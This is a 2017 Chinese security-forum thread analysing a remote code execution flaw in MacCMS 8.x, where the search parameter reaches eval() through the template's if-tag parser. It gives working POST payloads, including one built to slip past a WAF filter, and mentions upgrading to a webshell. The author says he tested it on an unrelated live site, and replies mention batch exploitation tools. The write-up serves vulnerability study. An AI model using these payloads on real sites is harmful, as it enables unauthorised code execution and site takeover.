用户
搜索
  • TA的每日心情
    擦汗
    8 小时前
  • 签到天数: 201 天

    连续签到: 3 天

    [LV.7]常住居民III

    i春秋签约作家

    我是表弟

    Rank: 7Rank: 7Rank: 7

    37

    主题

    327

    帖子

    1226

    魔法币
    收听
    0
    粉丝
    9
    注册时间
    2015-11-20

    秦突出贡献春秋游侠核心白帽签约作者楚燕魏齐赵积极活跃奖

    发表于 2017-5-18 16:10:01 167020
    作者:armyzer0
    本文参与现金奖励计划,未经允许禁止转载

    起因
    这几天。朋友无意中发了t00ls的一个投稿文章。Maccms8.x 命令执行。我顺带叫他拿了POC
    给我分析下。结果有了下文

    POC

    [Python] 纯文本查看 复制代码
    http://127.0.0.1/index.php?m=vod-search
    t00ls给出的是这样的 {page:lang} 是用来过拦截脚本的 因为值为空所以会替换成空
    POST 数据
    [Python] 纯文本查看 复制代码
    wd={{page:lang}if-:p{page:lang}hpinfo()}a{endif-}}

    我的POST数据
    [Python] 纯文本查看 复制代码
    wd={if-A:phpinfo()}{endif-A}
    漏洞简要描述
    wd 参数未经严格过滤导致可以插入程序自写if的html解析标签导致命令执行
    漏洞复现过程
    我拿过来的时候发现脚本给拦截了无法复现。
    图片1.png

    经过测试发现,貌似把花括号给过滤了。
    图片11.png

    先不管了。先直接源码分析

    可以看到 URL :
    [AppleScript] 纯文本查看 复制代码
    http://127.0.0.1/index.php?m=vod-search

    是这样的。大概看了下目录和程序的结构 vod /inc/module/ 下的vod.php
    search 是里面的一个方法
    这里先去除过滤函数
    图片12.png
    然后index.php去除 360脚本的包含。
    图片13.png
    现在可以复现成功了。
    图片14.png


    F:\WWW\maccms\inc\module\vod.php

    [PHP] 纯文本查看 复制代码
    elseif($method=='search')
    {
    $tpl->C["siteaid"] = 15;
    $wd = trim(be("all", "wd"));
        //$wd = chkSql($wd);//这里就是检测到地方我先注释了
    if(!empty($wd)){ $tpl->P["wd"] = $wd; }
    //if(empty($tpl->P["wd"]) && empty($tpl->P["ids"]) && empty($tpl->P["pinyin"]) && empty($tpl->P["starring"]) && empty($tpl->P["directed"]) && empty($tpl->P["area"]) && empty($tpl->P["lang"]) && empty($tpl->P["year"]) && empty($tpl->P["letter"]) && empty($tpl->P["tag"]) && empty($tpl->P["type"]) && empty($tpl->P["typeid"]) && empty($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
    if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
    showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
    exit;
    }
    //
        $tpl->P['cp'] = 'vodsearch';
    $tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type'].  '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang'])  .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
    echoPageCache($tpl->P['cp'],$tpl->P['cn']);
        
       
    $tpl->P["where"]='';
    $tpl->P["des"]='';
    //省略无关代码
    $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");//加载模板文件
    $tpl->mark();//将模板关键字进行替换
    $tpl->pageshow();//将模板关键字进行替换
    $colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
    $valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );
        
    //关键点是在 $valarr 变量  $colarr 的 {page:wd} 被 $tpl->P["wd"] 的值替换,而 $tpl->P["wd"] 就是我们 传入poc的值 {if-:p{page:lang}hpinfo()}a{endif-}}
     
    $tpl->H = str_replace($colarr, $valarr ,$tpl->H); //接着再次直接写入模板文件
        unset($colarr,$valarr);//销毁变量的值
        //省略无关代码
    }
    然后我们跟踪 mark()
    mark() 和pagesho() 都在 F:\WWW\maccms\inc\common\template.php 这个文件里面
    都是对模板进行替换,我就不展示代码了。
    然后返回到index.php文件。
    [PHP] 纯文本查看 复制代码
    <?php
    /*
    '软件名称:苹果CMS
    '开发作者:MagicBlack    官方网站:[url]http://www.maccms.com/[/url]
    '--------------------------------------------------------
    '适用本程序需遵循 CC BY-ND 许可协议
    '这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
    '不允许对程序代码以任何形式任何目的的再发布。
    '--------------------------------------------------------
    */
    if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
    define('MAC_MODULE','home');
    require('inc/conn.php');
    //require(MAC_ROOT.'/inc/common/360_safe3.php');
        $m = be('get','m');//这里获取到请求的 vod-search
        if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
        $par = explode('-',$m);//进行 - 的分割
        $parlen = count($par);
        $ac = $par[0];//将分割得到的 vod 传给 $ac
        
        if(empty($ac)){ $ac='vod'; $method='index'; }
        
        $colnum = array('id','pg','year','typeid','class','classid','src','num','aid','vid');
        if($parlen>=2){
                $method = $par[1];
                 for($i=2;$i<$parlen;$i+=2){
                $tpl->P[trim($par[$i])] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : chkSql(urldecode(trim($par[$i+1])));
            }
        }
        if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
        if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
        unset($colnum);
        $tpl->initData();
        $acs = array('vod','art','map','user','gbook','comment','label');
        if(in_array($ac,$acs)){//这里取到 vod 这个值
                $tpl->P['module'] = $ac;
                include MAC_ROOT.'/inc/module/'.$ac.'.php';//然后加载这个模块
        }
        else{
                showErr('System','未找到指定系统模块');
        }
        unset($par);
        unset($acs);
        $tpl->ifex();//这里是重点 将程序自写的 if标签进行解析 我们跟进看看
        if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
    $tpl->run();
    echo $tpl->H;//输出首页
    ?>

    F:\WWW\maccms\inc\common\template.php 里面可以看到 ifex() 方法
    [PHP] 纯文本查看 复制代码
    function ifex()
        
            if (!strpos(",".$this->H,"{if-")) { return; }//判断是否是{if- 开头 不是则返回
    $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
    preg_match_all($labelRule,$this->H,$iar);
    $arlen=count($iar[2]);
    for($m=0;$m<$arlen;$m++){
    $strn = $iar[1][$m];//这里取到的是第一个正则的东西 我的测试数据就是A
    $strif= asp2phpif( $iar[2][$m] ) ;//这里是取到第二个正则的东西 就是我们的 phpinfo
    $strThen= $iar[3][$m];////这里是取到第三个正则的东西
    $elseifFlag=false;
    $labelRule2="{elseif-".$strn."";
    $labelRule3="{else-".$strn."}";
    try{
    if (strpos(",".$strThen,$labelRule2)>0){//由于条件不满足 因为前面没有 ,号。所以跳到了else分支
    $elseifArray=explode($labelRule2,$strThen);
    $elseifArrayLen=count($elseifArray);
    $elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
    $resultStr=$elseifSubArray[1];
    $ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
    if(!$elseifFlag){
    for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
    $strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
    $strElseif=asp2phpif($strElseif);
    $strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
    $strElseifThen=str_replace("'","\'",$strElseifThen);
    @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
    if ($elseifFlag) {break;}
    }
    }
    if(!$elseifFlag){
    $strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
    $strElseif0=asp2phpif($strElseif0);
    $strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
    $strElseifThen0=str_replace("'","\'",$strElseifThen0);
    @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
    }
    $this->H=str_replace($iar[0][$m],$resultStr,$this->H);
    }
    else{
    $ifFlag = false;
    if (strpos(",".$strThen,$labelRule3)>0){//由于这里还是不满足 所以继续跳到else分支
    $elsearray=explode($labelRule3,$strThen);
    $strThen1=$elsearray[0];
    $strElse1=$elsearray[1];
    @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
    if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
    }
    else{
    @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
    //这里是重点了 $strif 是我们传入的 phpinfo 从上面的分析来看 完全没有任何过滤就代入了这个php语句
    if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
     }
    }
    }
    catch(Exception $e){
    $this->H=str_replace($iar[0][$m],"",$this->H);
    }
    catch (Error $e) {
    $this->H=str_replace($iar[0][$m],"",$this->H);
    }
    }
    unset($elsearray);
    unset($elseifArray);
    unset($iar);
    if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
    }
    最终这里执行的结果是这样的
    图片15.png
    单独拿出来看能否执行phpinfo
    图片16.png
    答案是可以的。
    如何getshell呢?
    将phpinfo 换成一句话就能getshell了。
    图片17.png
    随便找了站测试。是可以成功执行的
    图片18.png
    图片19.png
    漏洞修复建议
    过滤用户的输入 if自己自写解析标签
    PS:网上有些站360脚本却是可以执行的。我到现在还没弄明白怎么回事。。如果有说错的地方。。求各位大牛轻喷。我第一次写代码审计文章。- -~~

    偷偷告诉你,吐司那篇文章是我写的。。。
    16年的时候就发现这个前台getshell,我也没放出去,就留着,17年发现官方偷偷打了补丁,
    所以用了{page:lang}绕过了当时的补丁,我也没告诉谁没发出去。。。
    后来5月初的时候又来看一下,又发现官方又针对这里偷偷打了补丁
    这个篇文章在5月5号之前写好了,当时官方也还没偷偷发布补丁,所以当时的洞是存在的,但是5月5号之后的版本被修复了。
    我也很郁闷,这个洞才挖出来没多久怎么官方就知道这个点,我看了更新的文件对比了一下,仅仅是在360拦截的正则对花括号做拦截。。。。所以我就发到吐司上面供大家学习


    我是真的不会武功
    使用道具 举报 回复
    发表于 2017-5-24 19:23:40
    常威 发表于 2017-5-19 08:25
    偷偷告诉你,吐司那篇文章是我写的。。。
    16年的时候就发现这个前台getshell,我也没放出去,就留着,17年 ...

    不一定就是你一个人有,  我 1月份批量工具都写好了,         
    目前最新的已经绕过,在tools有说明
    后悔放了批量出去,据说各大国外箱子货都是
    我设置那个waf.php


    顺便打广告  轻量级漏扫 8000+poc 等你来扫 www.srcbug.com
    www.srcbug.com
    使用道具 举报 回复
    耍帅的明明 发表于 2017-5-24 11:23
    不一定就是你一个人有,  我 1月份批量工具都写好了,         
    目前最新的已经绕过,在tools有说明
    后悔 ...

    各大国外箱子货是啥?
    最新的现在如何绕过?来交流一下
    我是真的不会武功
    使用道具 举报 回复
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    推荐
    发表于 2017-5-19 17:21:22
    常威 发表于 2017-5-19 16:25
    偷偷告诉你,吐司那篇文章是我写的。。。
    16年的时候就发现这个前台getshell,我也没放出去,就留着,17年 ...

    大佬欢迎投稿到咱们社区啊,邀请你来加入作家团,加我QQ:286894635,交个朋友嘛
    使用道具 举报 回复
    发表于 2017-5-24 19:19:48
                            .           
    www.srcbug.com
    使用道具 举报 回复
    发表于 2017-5-24 15:27:16
    本帖最后由 耍帅的明明 于 2017-5-24 11:19 编辑

                                        .
    www.srcbug.com
    使用道具 举报 回复
    发表于 2017-5-18 18:00:12
    沙发
    使用道具 举报 回复
    发表于 2017-5-19 00:20:40
    板凳                           
    使用道具 举报 回复
    发表于 2017-5-19 00:38:47
    这个具体的利用过程是怎么样的呢?
    使用道具 举报 回复
    发表于 2017-5-19 10:25:53
    本帖最后由 xiao11 于 2017-5-19 09:39 编辑

    分析的不错,,学习一下。。
    使用道具 举报 回复
    常威 发表于 2017-5-19 16:25
    偷偷告诉你,吐司那篇文章是我写的。。。
    16年的时候就发现这个前台getshell,我也没放出去,就留着,17年 ...

    求加好友啊!!大牛
    使用道具 举报 回复
    发表于 2017-5-20 10:06:42
      批量脚本我都有了
    使用道具 举报 回复
    支持表哥一发
    使用道具 举报 回复
    发表于 2017-5-24 00:26:35
    I春秋首席单身狗
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册